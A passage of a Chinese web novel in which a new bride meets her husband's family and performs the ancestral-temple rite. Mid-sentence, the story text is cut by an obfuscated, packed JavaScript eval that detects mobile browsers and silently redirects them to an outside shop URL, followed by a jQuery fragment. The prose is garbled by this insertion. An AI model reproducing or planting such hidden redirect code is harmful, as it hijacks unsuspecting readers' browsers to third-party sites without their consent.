自从他们进屋，裴玉延的目光便始终追随着房遂宁，郑薜萝只佯作不知。 这便是传说中，原本房家属意的儿媳。若非自己，恐怕今日在这里行庙见之礼的便是她了吧。 又听裴夫人淡淡道：“玉延的双亲俱已不在人世，自小一直养在我身边，房家也一直拿她当亲女儿待，往后你也多照顾着些。” “自然。母亲放心。”郑薜萝恭声应了。 一直端坐一旁置身事外的房遂宁突然道：“姑父今日陪姑母一道来的么？” 作为属下，房遂宁很少公开称左素同为“姑父”，房菀反应了一会，才道：“哦，他今日休沐，陪我一道回来的，也顺便看看你这新媳妇。” “侄儿正好寻姑父有事，先告辞。” 房遂宁说完，便向着上首端坐的裴夫人行了一礼，站起身来。 众人俱在愣怔，只有兰姐儿喊出了声：“表哥——！”又被房菀严厉的一眼瞪得闭上了嘴。 裴夫人看着儿子远去的背影，收回视线。 郑薜萝安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024512|194326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静坐着，听裴夫人和房菀二人絮絮地说话。而裴玉延，自房遂宁走后便一直失魂落魄，垂头绞着手里的帕子。 “唉，看他这来去匆匆的，什么时候是个头儿……”房菀叹息了一声。 她如今是刑部尚书夫人，亲见刑部衙门杀气重、案子多，得罪起人来不分轻重，一年到头风里来、雨里去。 “要说世家子弟，少有愿意去刑部的，那里的官员多少年也不见轮换，像桡哥儿这样的，已然是刑部的老资历了。” “要这资历有什么用。”裴夫人冷着脸道。 “谁能说得动他？连和光私下也劝过他，不必在刑部苦熬，可咱们桡哥儿这脾气啊，一钻到案子里便是九头牛也拉不出来！这不，才刚成了婚，还心心念念公务，又不知要找他姑父说什么……” 裴夫人看了郑薜萝一眼：“以往他在衙署事忙，一年到头循园也回不了两趟，如今既成了婚，也当有个家的样子。” 郑薜萝脸上始终挂着得体笑意，长辈说话，只是点头。 兰姐儿无聊了，便跑过来，凑在郑薜萝身边细细打量她。小脸蛋上还挂着晶莹的口水，十足的滑稽可爱。 房菀瞥到女儿的动静，笑了起来：“这丫头，从小就是这样，看到好看的人就挪不动步，桡哥儿那么冷的一个人，也就她看着不怵——这下好了，来了个一样漂亮的表嫂，可小心她缠着你不放啊！” 最后一句话，是冲着郑薜萝说的。 “姑母说笑了，兰姐儿聪明伶俐，倒叫我也想起家里的妹妹呢。” 郑薜萝取出帕子，替兰姐儿擦了把嘴，一边伸手将小丫头手里化了一半，险些沾到前襟上的糖人拿开了些。 房菀笑着皱眉，嗔怪的语气：“快过来，埋汰！别把你表嫂的新衣服弄脏了！” 裴夫人看着两个孩子也不禁面露慈爱：“森哥儿的脾性倒是和她妹妹不同，文气得很。” 房菀出神：“房家几代里头，都是老大文，老二武，倒也是奇了……” 她说完这句，似乎自觉失言，迅速看了裴夫人一眼。 两人不约而同地沉默下来，厅中气氛莫名凝滞。 半晌，裴夫人才重又开口：“时辰差不多了，走吧。” 房氏乃是世家大族，在城西另建有宗祠，逢重大日子，便会由家主率领，举家前往祭祖。今日新妇行庙见之礼，只在府中祖厝进行。 纵使只是府中的祠堂，也足足有三进屋子的占地。这样的规模，叫郑薜萝想起儿时的外祖家。 她在房家的列祖列宗前依矩行礼，起身时抬头，望见高处供奉着的一座座牌位，烛灯映照下，紫檀木上的姓名爵位，字迹深浅不一。 牌位居中的，是自前朝起就位列三公的房老太爷房孝谦，膝下三个孩子，房速崇排行老大，下面有一个弟弟房敬崇已经过世，房菀是老三。 最靠近下面的一排的牌位几乎都用红布包裹着，儿时听老人说过，那些是家里还未故去的人，应当便是房遂宁所在的这一辈。 行完礼起身，便有师爷提着笔，蘸取墨汁，在刻着房遂宁名字的牌位上，添上郑薜萝的名字。 祖厝中香烟缭绕，郑薜萝视线微动，被房遂宁那一排中独独一个没有包裹着红布的牌位吸引住。